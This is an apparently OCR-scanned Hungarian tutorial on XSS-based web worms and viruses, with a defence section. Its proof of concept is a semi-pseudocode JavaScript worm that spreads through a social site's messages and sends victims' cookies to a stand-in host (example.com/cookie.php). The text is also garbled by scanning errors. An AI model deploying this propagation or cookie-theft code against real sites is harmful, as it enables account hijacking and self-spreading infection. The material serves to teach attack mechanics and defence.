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1. Bevezetés: XSS

Ez a paper megprébdlja bemutatni az XSS-re épiilé férgeket, és virusokat. A leirds megértéséhez
sziikséges némi XSS alapismeret, igy ajdnlandm az olvasé figyelmébe az el6z6 XSS-r6l szo6lo
frasom.

Ennek ellenére roviden: XSS avagy Cross Site Scripting, egy injection fajta. Tamadhaté weboldalba
artalmas koédot szirhatunk, amivel aztan kiilonbozé technikdkat hajthatunk végre. XSS-eknek két
jol elkiilonithetd fajtija van, a perzisztens, és a non-perzisztens. Mind a kett§ alkalmas a
férgek/virusok terjesztésére, viszont a jobb szemléltethet6ség kedvéért a perzisztens hibakkal
fogunk elméletben foglalkozni. Perzisztens XSS, ha a szolgdltato tarolja egy hibabodl fakaddan az
artalmas kédot, Non-perzisztens, amikor a szolgaltaté nem tarolja a kddot, csak kozvetit a fert6z6 és

a fert6zott kozott.

2. Bevezetés féreg €s virus kiilonbség

Régi probléma, hogy a nagy atlag nem ismeri a kiilonbséget a féreg és a virusok kozott. Pedig nem
véletleniil van kiilonbdz6 neve a dolognak.

Virus: olyan programkédok, amik felhaszndléi segitséggel terjednek, mds programokat fertznek
meg. A fert6zott program mds programokat fertéz meg €s igy tovabb.

Féreg: 6nmagatdl terjed, nem feltétlen sziikséges hozza emberi beavatkozas.
Javascript, HTML és egyéb nyelveknek koszonhetden, mara mar a web is kindtte annyira magat,

hogy ezeket az emlitett funkcidkat ellathassa. Mind férgeket, virusokat de akar tréjaikat is irhatunk
a webre, csak egy hibds alkalmazas kell hozza.



3. Felhasznalhat6sag

Tekintsiink at egy kicsit a mdsik (remélhetdleg a rossz) oldalra. Szeretnénk egy jol miikodd szociélis
oldal felhasznaloinak védett adatait megszerezni, vagy éppen a gépiikre telepiteni valamilyen
artalmas kodot (pl. bindris trgjait, botnethez klienst). Keresiink egy perzisztens XSS-t a szolgaltatas
oldalan, erre a kornyezetre frunk egy koédot, amit injektdlva az oldalba a hibdn keresztiil, barki
megnézve/lefuttatva tovabb terjeszti azt. A futtatds kovetkezménye hogy a kod barmit tehet a
gépiinkkel, ellophatja a cookie-ainkat, igy barki haszndlni tudja a webszolgéltatast a fert6zott
jogaival, vagy éppen egy bongész8 vagy bongészé-plugin exploitot haszndlva dtveheti az uralmat a
fert6zott gép felett, igy kihasznalhatja az er6forrasait (pl. botnetbe kotés).

4. Fert6zés, terjeszkedés

Egy XSS virus/féreg (tovabbiakban csak féreg az egyszertiség kedvéért annak ellenére, hogy
tisztdban vagyunk a kiilonbségekkel), a bongész8kon at terjed. A terjedéshez nem a bongész8k
hidnyossdgait illetve hibait hasznalja ki, hanem a webszolgaltatasokét.

A férgek két részbdl dllnak, a propagald kédbdl, és a payloadbdl.

A propagalé kéd, az a rész, ami segitségével terjednek, viszik 4t magukat és a payloadot a
kovetkez6 fertdzottre.

A payload pedig a hasznos teher, ami a tényleges kddot tartalmazza, amivel a fert6zott félnek
arthatunk.

A férgek nem a felhasznaldkat fert6zik meg alapjdraton, hanem a webszolgdltatdst, vagy annak egy
részét. A felhaszndlok a fert6zott szolgdltatdst megtekintve, segitenek a tovabbi fert6zésben, uj
lapok, al-lapok fertzését teszik lehetdvé.

Pl. egy szocialis hdlézatra hajaz6 weboldalon biztos, hogy taldlunk tizenetkiildést. Ha ez a funkci6
sebezhetd, akkor az iizenetet megkapd felhaszndlé bongészdje felett dtvehetjiik az uralmat.
Lekérdezhetjiik az Osszes ismerdsét, azoknak elkiildhetjiik az altal megkapott iizenetet, amit ha
megnéznek, akkor veliik is ugyanez jatszédhat le. Ez a fert6z€s folyamata, a propagédlé kéd feladata.
A payload a fert6zés utdn rogton megint csak a bongészében fut le. Lehet egy szimpla
visszacsatolds a koéd irgjahoz, pl. a webszolgéltatashoz tartozé felhasznal6i cookie elkiildése, igy a
privilégiumok megszerzése nagyipari médszerként, vagy egy exploit futtatdsa egy jol vagy kevésbé
jOl ismert activex plugin ellen, és méris a bongészon kiviil az egész gép a tdimadd kezében van, mint
tiszta erdforras.



5. Proof of Concept

Avagy bizonyiték a létezésre. E16z6 honapokban egy versenyt irtak ki XSS férgek szaporitdsdnak
megvaldsitdsara, a gydztes a legkisebb méretii lett. Nem a payload volt a lényeg, hanem a szaporitds
mikéntje. A verseny mutatja, hogy rendkiviil sokféleképpen lehet megirni a propagédlé kodot.

Egy fél-pszeudé javascript XSS worm implementécid, kisebb atalakitassal, tokéletesen miikodhet:
Fert6z6 sor:

<script type="text/javascript" src="http://example.com/worm.js"></script>

WOrm.js

function ismeros_kereses()

{
iframe_letrehozas;
iframe_neve.feldolgozas; // ID-k kinyerése
return id_tomb;
}
function uzenet_kuldes(id)
{
iframe_letrehozas;
form_letrehozas;
form_neve.inicializalas(); // ID, iizenet, method, action beallitas
form_neve.submit(); // ID-nek elkiildi az iizenetet, aminek a tartalma a fert6z6 kod:
/I <script type="text/javascript" src="worm.js"></script>
}

function cookie_lopas()

{

iframe_lerehozas;
iframe_neve.src="http://example.com/cookie.php?cookie="+document.cookie;

}

function fertozz()

{
1=0;
ids = ismeros_kereses();
while(ids[i])
{

uzenet_kuldes(ids[i++]);

}
cookie_lopas();

}

document.onload = fertozz;
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A fert6z6 kodot els6ként elkiildve, szabadjara engedve megkezdddik a fert6zés. Az dldozat megnézi
az lzeneteit, lefuttatja a megadott worm.js-t, ami el&sszor lekérdezi az ismerdseit, majd iizenetet

kiild nekik, aminek a tartalma a fert6z6 kod. Végiil a payload is lefut, ami a cookie_lopas()
fliggvény, vagyis elkiildi a timaddnak az lizenetet megnéz6 aldozat cookie-jait.

6. Eltavolitas és Védekezés

Mint irtam a fert6z€s nem érinti a felhaszndlé gépét, a bongészd, csak terjeszteni segit a férget, igy
eltdvolitani csak a webszolgaltatasrol kell, ez pedig a szolgdltat6 dolga. Perzisztens XSS-eket pedig
csak az adatbdzisokbdl kell tordlni, majd a fert6zéshez haszndlt sebezhet§séget kijavitani.
(B6vebben XSS white paper-omben).

Felhasznélok védekezni a fert6zés segitése ellen, bongészd kiegészitdkkel tudnak, pl Firefox-hoz
NoScript extension, vagy szimpléan kikapcsoljuk a javascriptet.
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